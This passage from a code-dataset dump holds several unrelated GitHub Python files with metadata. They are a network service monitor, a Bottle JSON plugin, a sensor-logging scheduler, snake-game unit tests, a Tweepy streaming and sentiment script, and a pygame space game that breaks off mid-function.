[\"X\",\"X\",\"O\",\"X\"],\r\n [\"X\",\"O\",\"X\",\"X\"]])\r\n \r\n", "repo_name": "gundamace17/LeetCode", "sub_path": "Python/0130. Surrounded Regions.py", "file_name": "0130. Surrounded Regions.py", "file_ext": "py", "file_size_in_byte": 1942, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.deque", "line_number": 45, "usage_type": "call"}, {"api_name": "{'deque': 'collections.deque'}", "line_number": 57, "usage_type": "call"}]} {"seq_id": "4941416446", "text": "import logging\nfrom subprocess import check_output\nimport re\nimport requests\nimport paramiko\nimport socket\n\nfrom Utils import decrypt\nimport Loggers\n\n# lowers Paramiko logging level and disabled propagation to root logger\nlogging.getLogger(\"paramiko\").setLevel(logging.CRITICAL)\nlogging.getLogger(\"paramiko\").propagate = False\n\n# setting up module logger\ntests_logger = Loggers.get_queue_logger(logging.DEBUG, __name__)\n\nclass Test:\n def __init__(self, config):\n self.hostname = config.hostname\n self.ftt = config.ftt\n self.interval = config.interval\n \n @staticmethod\n def set_result(obj,typ, message):\n obj.result_info = message\n if typ == 'success':\n obj.status = True\n obj.failed = 0\n tests_logger.info(message)\n else:\n obj.status = False\n obj.failed += 1\n tests_logger.error(message)\n\nclass Ping_test(Test):\n\n def __init__(self, config):\n super().__init__(config)\n self.count = config.params['count']\n self.cmd = 'ping -c {} -w 2 {}'.format(self.count, self.hostname).split(' ')\n\n # function to get avg response time from the ping outpu\n @staticmethod\n def get_avg_time(response):\n agv_regex = re.compile(r'.*(\\d{1,4}\\.\\d{3}\\/(\\d{1,4}\\.\\d{3})\\/\\d{1,4}\\.\\d{3}\\/).*')\n avg_time = agv_regex.search(response)[2]\n return '{} ms'.format(round(float(avg_time), 2))\n\n def run(self,config):\n logging.debug('pinging %s' % self.hostname)\n\n\n # TODO - rework output\n try:\n response = check_output(self.cmd).decode('utf-8')\n Ping_test.set_result(config, 'success', 'Successful ping: {}, avg response time: {}'.format(self.hostname, Ping_test.get_avg_time(response)))\n except Exception as e:\n Ping_test.set_result(config, 'fail', 'Failed ping: {}. Error: {}'.format(self.hostname, e))\n\nclass Http_test(Test):\n def __init__(self, config):\n super().__init__(config)\n self.normalize_url(self.hostname)\n print('Length:', len(config.params['allowed_codes']))\n if len(config.params['allowed_codes']) != 0:\n self.allowed_codes = config.params['allowed_codes']\n else:\n self.allowed_codes = [200]\n\n if 'regexp' in config.params:\n self.regexp_text = config.params['regexp']\n self.regexp = re.compile(self.regexp_text)\n else:\n self.regexp = None\n\n \n\n def normalize_url(self, url):\n if not re.match(r'^https*\\:\\/\\/', url):\n self.hostname = 'http://' + self.hostname \n \n def run(self, monitor):\n\n try:\n if self.regexp == None: # no need to get page content if there is no regexp to look for\n request = requests.head(self.hostname)\n else:\n request = requests.get(self.hostname)\n \n if request.status_code not in self.allowed_codes:\n Ping_test.set_result(monitor, 'fail', 'The HTTP response code {} for {} is not allowed'.format(request.status_code, self.hostname))\n else:\n if self.regexp == None:\n Ping_test.set_result(monitor, 'success', 'Successful connection to {}. Status code {} is allowed.'.format(self.hostname, request.status_code))\n else:\n matches = self.regexp.search(request.text, re.I)\n \n if matches: \n Ping_test.set_result(monitor, 'success', 'Successful connection to {}. Status code {} is allowed and regexp \"{}\" has a match'.format(self.hostname, request.status_code, self.regexp_text))\n else:\n Ping_test.set_result(monitor, 'fail', 'Failed to find regexp {} on {}'.format(self.regexp_text, self.hostname))\n\n except requests.ConnectionError as er:\n Ping_test.set_result(monitor, 'fail', 'Failed to connect to {}, error: {} '.format(self.hostname , er))\n\nclass Ssh_test(Test):\n def __init__(self, config):\n super().__init__(config) \n self.client = paramiko.SSHClient()\n self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n self.cmd = 'ls'\n self.timeout = 5\n self.username = config.params['username']\n self.password = decrypt(config.params['password'])\n\n\n def run(self, monitor):\n try:\n self.client.connect(hostname=self.hostname, username=self.username, password=self.password)\n self.client.exec_command(self.cmd, self.timeout)\n self.client.close()\n Ping_test.set_result(monitor, 'success', 'Successful SSH connection to {}'.format(self.hostname))\n except Exception as er:\n Ping_test.set_result(monitor, 'fail', 'Failed SSH connection with error: {}'.format(er))\n\nclass Tcp_test(Test):\n def __init__(self,config):\n super().__init__(config)\n self.port = config.params['port']\n self.timeout = config.params['timeout']\n self.conn_info = (self.hostname, self.port)\n\n \n def run(self, monitor):\n try:\n socket_conn = socket.create_connection(self.conn_info, timeout=self.timeout)\n socket_conn.close()\n Ping_test.set_result(monitor, 'success', 'Successful TCP connection to {}'.format(self.hostname))\n except Exception as er:\n Ping_test.set_result(monitor, 'fail', 'Failed TCP connection with error: {}'.format(er))\n\nclass Test_Factory():\n def create_test(self, typ, config):\n logging.debug('Generating {} test'.format(typ))\n target_class = typ.capitalize() + '_test'\n return globals()[target_class](config)", "repo_name": "vmnomad/slick_monitor", "sub_path": "server/Tests.py", "file_name": "Tests.py", "file_ext": "py", "file_size_in_byte": 5723, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 12, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "Loggers.get_queue_logger", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 16, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 46, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 51, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 56, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 73, "usage_type": "call"}, {"api_name": "re.match", "line_number": 80, "usage_type": "call"}, {"api_name": "requests.head", "line_number": 87, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 89, "usage_type": "call"}, {"api_name": "re.I", "line_number": 97, "usage_type": "attribute"}, {"api_name": "requests.ConnectionError", "line_number": 104, "usage_type": "attribute"}, {"api_name": "paramiko.SSHClient", "line_number": 110, "usage_type": "call"}, {"api_name": "paramiko.AutoAddPolicy", "line_number": 111, "usage_type": "call"}, {"api_name": "Utils.decrypt", "line_number": 115, "usage_type": "call"}, {"api_name": "socket.create_connection", "line_number": 137, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 145, "usage_type": "call"}]} {"seq_id": "21585371670", "text": "''' Formats output in a json schema. To be used for making json based API \nservers '''\n\nfrom bottle import Bottle \nfrom bottle import response\nfrom bottle import request\nfrom bottle import template\nfrom bottle import tob\nfrom bottle import ERROR_PAGE_TEMPLATE\n\n# Co-opted the Bottle json import strategy\ntry:\n #pylint: disable=F0401 \n from json import dumps as json_dumps\nexcept ImportError: # pragma: no cover\n try: \n #pylint: disable=F0401 \n from simplejson import dumps as json_dumps\n except ImportError:\n try: \n #pylint: disable=F0401\n from django.utils.simplejson import dumps as json_dumps\n except ImportError:\n #pylint: disable=W0613\n def json_dumps(data):\n ''' Place holder for lack of appropriate json lib '''\n raise ImportError(\n 'JSON support requires Python 2.6 or simplejson.')\n\n\nclass JsonFormatting(object):\n ''' Bottle plugin which encapsulates results and error in a json object. \n Intended for instances where you want to use Bottle as an api server. '''\n\n name = 'json_formatting'\n api = 2\n\n #pylint: disable=C0103,W0102\n ALL_TYPES = '*/*'\n\n statuses = {\n 0: 'success',\n 1: 'error',\n 2: 'internal failure',\n }\n\n def __init__(self, supported_types=['*/*'], \n debug=False):\n self.debug = debug\n self.app = None\n self.function_type = None\n self.function_original = None\n self.supported_types = supported_types\n self.ALL_TYPES = JsonFormatting.ALL_TYPES\n\n def setup(self, app):\n ''' Handle plugin install '''\n self.app = app\n self.function_type = type(app.default_error_handler)\n self.function_original = app.default_error_handler\n self.app.default_error_handler = self.function_type(\n self.custom_error_handler, app, Bottle)\n\n #pylint: disable=W0613\n def apply(self, callback, route):\n ''' Handle route callbacks '''\n if not json_dumps: \n return callback\n def wrapper(*a, **ka):\n ''' Encapsulate the result in json '''\n output = callback(*a, **ka)\n if self.in_supported_types(request.headers.get('Accept', '')):\n response_object = self.get_response_object(0)\n response_object['data'] = output\n json_response = json_dumps(response_object)\n response.content_type = 'application/json'\n return json_response\n else:\n return output\n return wrapper\n\n def in_supported_types(self, accept_request_header):\n ''' Test accept request header in supprted types '''\n if self.ALL_TYPES in self.supported_types:\n return True\n accepts = []\n for item in accept_request_header.split(','):\n accepts.append(item.strip().split(';')[0])\n if self.ALL_TYPES in accepts:\n return True\n for this_type in self.supported_types:\n if this_type in accepts:\n return True\n return False\n\n def close(self):\n ''' Put the original function back on uninstall '''\n self.app.default_error_handler = self.function_type(\n self.function_original, self.app, Bottle)\n\n def get_response_object(self, status):\n ''' Helper for building the json object '''\n #global statuses\n if status in self.statuses:\n json_response = {\n 'status': self.statuses.get(status),\n 'status_code': status,\n 'data': None,\n }\n return json_response\n else:\n self.get_response_object(2)\n \n def custom_error_handler(self, res, error):\n ''' Monkey patch method for json formatting error responses '''\n # when the accept type matches the jsonFormatting configuration\n if self.in_supported_types(request.headers.get('Accept', '')):\n response_object = self.get_response_object(1)\n response_object['error'] = {\n 'status_code': error.status_code,\n 'status': error.status_line,\n 'message': error.body,\n }\n if self.debug:\n response_object['debug'] = {\n 'exception': repr(error.exception),\n 'traceback': error.traceback,\n }\n json_response = json_dumps(response_object)\n response.content_type = 'application/json'\n return json_response\n else:\n return tob(template(ERROR_PAGE_TEMPLATE, e=error))\n", "repo_name": "bustleandflurry/bottle-api-json-formatting", "sub_path": "bottle_api_json_formatting/bottle_api_json_formatting.py", "file_name": "bottle_api_json_formatting.py", "file_ext": "py", "file_size_in_byte": 4750, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "bottle.Bottle", "line_number": 62, "usage_type": "argument"}, {"api_name": "django.utils.simplejson.dumps", "line_number": 67, "usage_type": "name"}, {"api_name": "bottle.request.headers.get", "line_number": 72, "usage_type": "call"}, {"api_name": "bottle.request.headers", "line_number": 72, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 72, "usage_type": "name"}, {"api_name": "django.utils.simplejson.dumps", "line_number": 75, "usage_type": "call"}, {"api_name": "bottle.response.content_type", "line_number": 76, "usage_type": "attribute"}, {"api_name": "bottle.response", "line_number": 76, "usage_type": "name"}, {"api_name": "bottle.Bottle", "line_number": 99, "usage_type": "argument"}, {"api_name": "bottle.request.headers.get", "line_number": 117, "usage_type": "call"}, {"api_name": "bottle.request.headers", "line_number": 117, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 117, "usage_type": "name"}, {"api_name": "django.utils.simplejson.dumps", "line_number": 129, "usage_type": "call"}, {"api_name": "bottle.response.content_type", "line_number": 130, "usage_type": "attribute"}, {"api_name": "bottle.response", "line_number": 130, "usage_type": "name"}, {"api_name": "bottle.tob", "line_number": 133, "usage_type": "call"}, {"api_name": "bottle.template", "line_number": 133, "usage_type": "call"}, {"api_name": "bottle.ERROR_PAGE_TEMPLATE", "line_number": 133, "usage_type": "argument"}]} {"seq_id": "29451760188", "text": "import atexit\nfrom functools import wraps\n\nfrom apscheduler.schedulers.background import BackgroundScheduler\nimport adafruit_dht\nimport board\n\nfrom .models import db, SensorReading, SensorType\n\n\nclass FlaskScheduler(BackgroundScheduler):\n _singleton = None\n\n def __new__(cls):\n if cls._singleton:\n return cls._singleton\n\n cls._singleton = super().__new__(cls)\n return cls._singleton\n\n def __init__(self, app=None, shutdown_wait=True, **kwargs):\n super().__init__(**kwargs)\n\n atexit.register(self.shutdown, wait=shutdown_wait)\n if app:\n self.init_app(app)\n\n self.add_job(\n AirMonitor(), trigger=\"cron\", minute=\"*\", max_instances=1, coalesce=True, misfire_grace_time=30\n )\n\n def init_app(self, app):\n self.app = app\n\n def shutdown(self, wait=True):\n if self.running:\n super().shutdown(wait=wait)\n\n\ndef _ctx_wrapper(f):\n @wraps(f)\n def wrapped(*args, **kwargs):\n with scheduler.app.app_context():\n return f(*args, **kwargs)\n\n return wrapped\n\n\nclass AirMonitor:\n def __init__(self, dht_pin=board.D4):\n self.dht = adafruit_dht.DHT22(dht_pin)\n\n @_ctx_wrapper\n def __call__(self):\n temp = self.dht.temperature\n humidity = self.dht.humidity\n\n db.session.add_all([\n SensorReading(value=temp, type=SensorType.AIR_TEMP),\n SensorReading(value=humidity, type=SensorType.AIR_HUMIDITY),\n ])\n db.session.commit()\n\n\nscheduler = FlaskScheduler()\n", "repo_name": "jlucier/garden-pi", "sub_path": "api/api/scheduler.py", "file_name": "scheduler.py", "file_ext": "py", "file_size_in_byte": 1557, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "apscheduler.schedulers.background.BackgroundScheduler", "line_number": 11, "usage_type": "name"}, {"api_name": "atexit.register", "line_number": 24, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 41, "usage_type": "call"}, {"api_name": "board.D4", "line_number": 50, "usage_type": "attribute"}, {"api_name": "adafruit_dht.DHT22", "line_number": 51, "usage_type": "call"}, {"api_name": "models.db.session.add_all", "line_number": 58, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 58, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 58, "usage_type": "name"}, {"api_name": "models.SensorReading", "line_number": 59, "usage_type": "call"}, {"api_name": "models.SensorType.AIR_TEMP", "line_number": 59, "usage_type": "attribute"}, {"api_name": "models.SensorType", "line_number": 59, "usage_type": "name"}, {"api_name": "models.SensorReading", "line_number": 60, "usage_type": "call"}, {"api_name": "models.SensorType.AIR_HUMIDITY", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.SensorType", "line_number": 60, "usage_type": "name"}, {"api_name": "models.db.session.commit", "line_number": 62, "usage_type": "call"}, {"api_name": "models.db.session", "line_number": 62, "usage_type": "attribute"}, {"api_name": "models.db", "line_number": 62, "usage_type": "name"}]} {"seq_id": "21469822717", "text": "import snake_game\nimport pytest\nimport unittest\nfrom parameterized import parameterized\n\n\nclass TestSnakeGame(unittest.TestCase):\n @parameterized.expand([\n (0, 0, \"down\", 650, 650, True, 50, 0, 50),\n (0, 0, \"up\", 650, 650, False, 50, 0, 600),\n (0, 0, \"right\", 650, 650, True, 50, 50, 0),\n (0, 0, \"left\", 650, 650, False, 50, 600, 0)\n ])\n def test_get_new_head_coordinates(self, x_head, y_head, direction, game_height, game_width,\n check_window_border, element_size, expected_x_head, expected_y_head):\n actual_x_head, actual_y_head = snake_game.get_new_head_coordinates(x_head, y_head, direction, game_height, game_width,\n check_window_border, element_size)\n assert expected_x_head == actual_x_head\n assert expected_y_head == actual_y_head\n\n\n @parameterized.expand([\n (\"up\", \"down\", False),\n (\"down\", \"up\", False),\n (\"left\", \"right\", False),\n (\"right\", \"left\", False),\n (\"right\", \"up\", True),\n (\"right\", \"down\", True),\n (\"down\", \"left\", True),\n ])\n def test_is_new_direction_allowed(self, old_direction, new_direction, is_allowed):\n assert is_allowed == snake_game.is_new_direction_allowed(old_direction, new_direction)\n\n\n @parameterized.expand([\n (1280, 650, 720, 650, \"650x650+315+35\"),\n (1280, 500, 720, 500, \"500x500+390+110\"),\n (1920, 650, 1080, 650, \"650x650+635+215\"),\n (1920, 500, 1080, 500, \"500x500+710+290\"),\n (2560, 650, 1440, 650, \"650x650+955+395\"),\n (2560, 500, 1440, 500, \"500x500+1030+470\")\n ])\n def test_format_window_geometry(self, screen_width, window_width, screen_height, window_height, expected_format):\n assert expected_format == snake_game.format_window_geometry(screen_width, window_width, screen_height, window_height)", "repo_name": "Kondybin/python_snake_game", "sub_path": "test_snake_game.py", "file_name": "test_snake_game.py", "file_ext": "py", "file_size_in_byte": 1899, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.TestCase", "line_number": 7, "usage_type": "attribute"}, {"api_name": "snake_game.get_new_head_coordinates", "line_number": 16, "usage_type": "call"}, {"api_name": "parameterized.parameterized.expand", "line_number": 8, "usage_type": "call"}, {"api_name": "parameterized.parameterized", "line_number": 8, "usage_type": "name"}, {"api_name": "snake_game.is_new_direction_allowed", "line_number": 32, "usage_type": "call"}, {"api_name": "parameterized.parameterized.expand", "line_number": 22, "usage_type": "call"}, {"api_name": "parameterized.parameterized", "line_number": 22, "usage_type": "name"}, {"api_name": "snake_game.format_window_geometry", "line_number": 44, "usage_type": "call"}, {"api_name": "parameterized.parameterized.expand", "line_number": 35, "usage_type": "call"}, {"api_name": "parameterized.parameterized", "line_number": 35, "usage_type": "name"}]} {"seq_id": "25911491541", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue May 28 00:34:49 2019\r\n\r\n@author: MUKHESH\r\n\"\"\"\r\nimport matplotlib.pyplot as plt\r\nimport tweepy\r\nfrom tweepy import Stream,OAuthHandler,Cursor,API\r\nfrom tweepy.streaming import StreamListener\r\nfrom pymongo import MongoClient\r\nimport pandas as pd\r\nimport numpy as np\r\nimport re\r\nfrom textblob import TextBlob\r\nimport json \r\n#pd.options.display.max_columns=9\r\npd.options.display.max_colwidth=10000\r\n\r\nclass TwitterDatacapture():\r\n \r\n def clean_data(self,data):\r\n return \" \".join(re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z\\t])|(\\w+:\\/\\/\\S+)\",' ',data).split())\r\n def Twitter_sentiment(self,tweets):\r\n analysis=TextBlob(self.clean_data(tweets))\r\n if analysis.sentiment.polarity>0:\r\n return 'pos'\r\n elif analysis.sentiment.polarity==0:\r\n return 'neu'\r\n else:\r\n return 'neg'\r\n \r\n def Twitter_data(self,tweets):\r\n df=pd.DataFrame(data=[tweet.text for tweet in tweets],columns=['text'])\r\n df['date']=np.array([tweet.created_at for tweet in tweets])\r\n df['likes']=np.array([tweet.favorite_count for tweet in tweets])\r\n df['retweet']=np.array([tweet.retweet_count for tweet in tweets])\r\n df['place']=np.array([tweet.place for tweet in tweets])\r\n df['source']=np.array([tweet.source for tweet in tweets])\r\n df['lang']=np.array([tweet.lang for tweet in tweets])\r\n# df=pd.DataFrame(data=[tweet.name for tweet in tweets],columns=['followers'])\r\n df['sentiment']=np.array([self.Twitter_sentiment(tweet) for tweet in df['text']])\r\n return df\r\n \r\n\r\nclass TwitterClient():\r\n \r\n def __init__(self,twitter_user=None):\r\n self.auth=TwitterAuth().Authentication()\r\n self.client=API(self.auth)\r\n self.user=twitter_user\r\n \r\n def return_api(self):\r\n return self.client\r\n \r\n def get_user_time_twitts(self,num_twitts=1):\r\n twitts=[]\r\n for twitt in Cursor(self.client.user_timeline,id=self.user).items(num_twitts):\r\n twitts.append(twitt)\r\n return twitts\r\n \r\n def get_user_friends(self):\r\n friends=[]\r\n for friend in Cursor(self.client.friends,id=self.user).items():\r\n friends.append(friend)\r\n return friends\r\n def get_user_friends_id(self):\r\n friends=[]\r\n for friend in Cursor(self.client.friends_ids,id=self.user).items():\r\n friends.append(friend)\r\n return friends\r\n\r\nclass TwitterAuth():\r\n \r\n def Authentication(self):\r\n client=MongoClient()\r\n db=client['mydatabase']\r\n key=db.keys\r\n keys=list(key.find())\r\n auth=OAuthHandler(keys[0]['consumer_key'],keys[0]['consumer_secret_key'])\r\n auth.set_access_token(keys[0]['access_api_key'],keys[0]['access_api_secret_key'])\r\n return auth\r\n\r\n\r\nclass TweetStreamer():\r\n \r\n def __init__(self):\r\n self.auth=TwitterAuth().Authentication()\r\n \r\n def streamer(self,file_name,hash_tag):\r\n listener=Stout_listener(file_name)\r\n stream=Stream(self.auth,listener)\r\n stream.filter(track=hash_tag)\r\n\r\n\r\nclass Stout_listener(StreamListener):\r\n \r\n def __init__(self,filename):\r\n self.file_name=filename\r\n \r\n def on_data(self,data):\r\n #print(data)\r\n try:\r\n d=json.loads(data)\r\n with open(self.file_name,'a',encoding='utf-8') as f:\r\n f.write(d['text'])\r\n except BaseException as e:\r\n print('The error status is:',str(e))\r\n return True\r\n def on_error(self,status):\r\n print(status)\r\n\r\nif __name__=='__main__':\r\n hash_tag=['prabhas','sex','narendra modi','rahul gandhi','congress','BJP']\r\n streamer=TweetStreamer()\r\n streamer.streamer('tweet.json',hash_tag)\r\n# twitter_client=TwitterClient('mohitgupta')\r\n# \r\n# print(twitter_client.get_user_time_twitts(2)) \r\n# twitter_client=TwitterClient().return_api()\r\n# tweets=twitter_client.user_timeline(screen_name='narendramodi',count=200)\r\n# followers=twitter_client.followers(screen_name='mohit8302926301')\r\n# print(dir(followers[0]))\r\n# try:\r\n# status=twitter_client.send_direct_message(screen_name='NarraMukhesh', text='hi,hello')\r\n# print(status) \r\n# except tweepy.error.TweepError:\r\n# print(tweepy.error.TweepError)\r\n\r\n# df=TwitterDatacapture().Twitter_data(tweets) \r\n# print(df.head(10))\r\n# time_likes=pd.Series(data=df['likes'].values,index=df['date'])\r\n# time_likes.plot(figsize=(16,4),label='likes',legend=True)\r\n# time_retweet=pd.Series(data=df['retweet'].values,index=df['date'])\r\n# time_retweet.plot(figsize=(16,4),label='retweet',legend=True)\r\n# plt.show()", "repo_name": "mukheshnarra/NLP", "sub_path": "Twitter_api.py", "file_name": "Twitter_api.py", "file_ext": "py", "file_size_in_byte": 4777, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.options", "line_number": 18, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 23, "usage_type": "call"}, {"api_name": "textblob.TextBlob", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "tweepy.API", "line_number": 50, "usage_type": "call"}, {"api_name": "tweepy.Cursor", "line_number": 58, "usage_type": "call"}, {"api_name": "tweepy.Cursor", "line_number": 64, "usage_type": "call"}, {"api_name": "tweepy.Cursor", "line_number": 69, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 76, "usage_type": "call"}, {"api_name": "tweepy.OAuthHandler", "line_number": 80, "usage_type": "call"}, {"api_name": "tweepy.Stream", "line_number": 92, "usage_type": "call"}, {"api_name": "tweepy.streaming.StreamListener", "line_number": 96, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 104, "usage_type": "call"}]} {"seq_id": "43626069661", "text": "#************ import libraries **************#\r\nimport pygame, sys, math, random, time, pymunk\r\n\r\n#**** initializes and set global contants ***#\r\npygame.init()\r\n\r\n#Set size of window\r\nwidth = 800\r\nheight = 500\r\n\r\n#Sets unseen background color\r\nbackgroundcolour = (200, 200, 200)\r\n\r\n#Makes and colors window\r\nwindow = pygame.display.set_mode((width, height))\r\npygame.display.set_caption('Star Game')\r\nwindow.fill(backgroundcolour)\r\n\r\n#Sets all used fonts\r\nmyfont = pygame.font.SysFont('Comic Sans MS', 30)\r\nmyfont2 = pygame.font.SysFont('Comic Sans MS', 100)\r\n\r\nclass Game():\r\n \r\n def game(self): #Main game loop (not starting function)\r\n\r\n #**** Sets up envoriment ***#\r\n Game.makestars(self)\r\n Game.makeplanets(self)\r\n Game.makegates(self)\r\n\r\n #pygame.mixer.music.load('Star Wars Theme Song By John Williams.mp3')\r\n #pygame.mixer.music.play(-1)\r\n \r\n self.score = 0\r\n \r\n #**** Runs game play *****#\r\n while self.gameplay:\r\n\r\n for event in pygame.event.get(): #event loop\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit() #for stopping python from reading code\r\n \r\n Game.gates(self) #Idendifies if players passed gates \r\n Game.change_orientation(self) #Allows the player to turn\r\n \r\n Game.rotate(self.stars,self) #Rotates the enviorment\r\n Game.rotate(self.planets,self)\r\n \r\n Game.rotate(self.gate1,self) #Rotates each indivisual gate\r\n Game.rotate(self.gate2,self)\r\n Game.rotate(self.gate3,self)\r\n \r\n Game.moveforward(self.planets,self) #Moves the envoriment\r\n Game.moveforward(self.gate1,self)\r\n Game.moveforward(self.gate2,self)\r\n Game.moveforward(self.gate3,self)\r\n \r\n #Game.movemetor(self) #** NOT USED **#\r\n \r\n window.fill((0,0,0))\r\n \r\n Game.display(self) #Displays enviroment\r\n Game.displayrocket(self) #Displays parent\r\n \r\n pygame.display.update() #Updates screen\r\n pygame.event.pump() #Prevents from pygame stopping the loop\r\n \r\n pygame.time.delay(int(1000/self.fps)) #Sets the delay\r\n\r\n\r\n \r\n def run(self): #Starts the whole game.\r\n\r\n #****** Sets Game Varibles *********#\r\n window.fill((0,0,0))\r\n \r\n self.score = 0\r\n self.speed = 1.5\r\n self.stars = [] #Location of stars \r\n self.planets = [] #Location of planets\r\n self.planetsradius = []\r\n\r\n #**** Non Existant Meteor Varibles ****#\r\n self.metor = []\r\n self.metorspeed = []\r\n\r\n #**** Player Varibles ***#\r\n self.orientation = [0,0] #[Pitch, Yaw]\r\n self.viewpoint = [0.15,0,0]\r\n \r\n #Gates players will inteact with\r\n self.gate1 = [[0,0,0],[0,0,0],[0,0,0],[0,0,0]] #Nearest Gate\r\n self.gate2 = [[0,0,0],[0,0,0],[0,0,0],[0,0,0]] #Middle Gate\r\n self.gate3 = [[0,0,0],[0,0,0],[0,0,0],[0,0,0]] #Furthest Gate\r\n \r\n self.fps = 30\r\n self.gameplay = False #Says of game in running\r\n self.menue = True #Says of a menue screen is on \r\n \r\n self.R_press = False #Says if R was pressed in the previous frame\r\n\r\n #********************** Sets Up Start Menue ***************************#\r\n \r\n for i in range(0,300): #Start screen background plantes\r\n \r\n rgb = (int(random.uniform(170,255)),int(random.uniform(170,255)),int(random.uniform(0,100))) #Sets colo4\r\n xy = [int(random.uniform(0,800)),int(random.uniform(0,800))] #Sets pos\r\n ra = random.uniform(2,6) #Sets size\r\n \r\n if xy[0] > 320 and xy[0] < 490 and xy[1] > 170 and xy[1] < 330: #Prevents over lap with botton\r\n ra = 0\r\n \r\n else:\r\n pygame.draw.circle(window, rgb, xy , int(ra)) #Draws planets\r\n \r\n pygame.display.update()\r\n \r\n #pygame.mixer.music.load('Jaws-theme-song.mp3')\r\n #pygame.mixer.music.play(-1)\r\n\r\n #************* Start Menue Loop ***********************************#\r\n while self.menue:\r\n \r\n xy = pygame.mouse.get_pos()\r\n pygame.event.pump()\r\n color = (255,255,0)\r\n \r\n if xy[0] > 320 and xy[0] < 490 and xy[1] > 170 and xy[1] < 330: #Changes color when mouse is over the sign\r\n color = (255,255,255)\r\n \r\n if pygame.mouse.get_pressed()[0]: #If mouse gets pressed the user is sent out of menue loop\r\n self.menue = False\r\n \r\n textsurface = myfont2.render(\"Play\", False, color)\r\n window.blit(textsurface,(320,170)) #Displays the text\r\n\r\n for event in pygame.event.get(): #event loop\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit() #for stopping python from reading code\r\n \r\n pygame.display.update()\r\n\r\n self.gameplay = True #Allows the main game loop to \r\n Game.game(self) #Sets them code to main game loop\r\n\r\n\r\n#*************** Math Functions *************************#\r\n \r\n def matmul(transform,vector): #Matrix Multiplication\r\n new = [] #Transformed Vector\r\n \r\n for i in range (0,3): #Each dimention of transformend vectore\r\n d = 0\r\n \r\n for j in range (0,3): \r\n d += vector[j]*transform[i][j] #Actual Matrix Multiplcation \r\n \r\n new.append(d) #Add dimention to vector\r\n\r\n return new \r\n\r\n def det(x,y,z): #3D Determinant\r\n \r\n det = 0 #Area\r\n \r\n for i in range (0,3): #Calculations for each dimention\r\n det += x[i%3]*y[(i+1)%3]*z[(i+2)%3]\r\n det -= z[i%3]*y[(i+1)%3]*x[(i+2)%3]\r\n \r\n return (det)\r\n\r\n #****************** Restart Menue Enviorment ****************#\r\n def restart(self):\r\n \r\n self.menue = True\r\n self.gameplay = False\r\n \r\n textsurface = myfont2.render(str(self.score), False, (255,255,255))\r\n window.blit(textsurface,(375,60)) #Shows score\r\n \r\n textsurface = myfont2.render(\"Play Again\", False, (230,230,230))\r\n window.blit(textsurface,(200,170)) #Play Again Button\r\n\r\n #pygame.mixer.music.load('Star Wars- The Imperial March (Darth Vader\\'s Theme).mp3')\r\n #pygame.mixer.music.play(-1)\r\n \r\n self.speed = 1.5 #Resets speed\r\n \r\n #******** Restart Menue Loop ************#\r\n \r\n while self.menue:\r\n \r\n xy = pygame.mouse.get_pos()\r\n pygame.event.pump() #Prevents from pygame stopping the loop\r\n \r\n color = (255,0,0)\r\n \r\n pygame.display.update() #Update screen here\r\n \r\n if xy[0] > 200 and xy[0] < 680 and xy[1] > 190 and xy[1] < 300:\r\n color = (255,255,255) #Changes color of sign when mouse is over top\r\n \r\n if pygame.mouse.get_pressed()[0]:\r\n self.menue = False #Breaks out of loop\r\n\r\n for event in pygame.event.get(): #event loop\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit() #for stopping python from reading code\r\n \r\n textsurface = myfont2.render(\"Play Again\", False, color)\r\n window.blit(textsurface,(200,170))\r\n\r\n #Sets and resets varibles of main game loop\r\n self.gameplay = True\r\n self.planets = []\r\n self.planetsradius = []\r\n self.stars = []\r\n self.orientation = [0,0]\r\n \r\n Game.game(self) #Main game loop\r\n\r\n #***************** Interactions with Gates ************************#\r\n\r\n def gates(self):\r\n keys = pygame.key.get_pressed()\r\n\r\n #****** Re-Adjust Gates (when tilted ****************#\r\n\r\n delta_x = 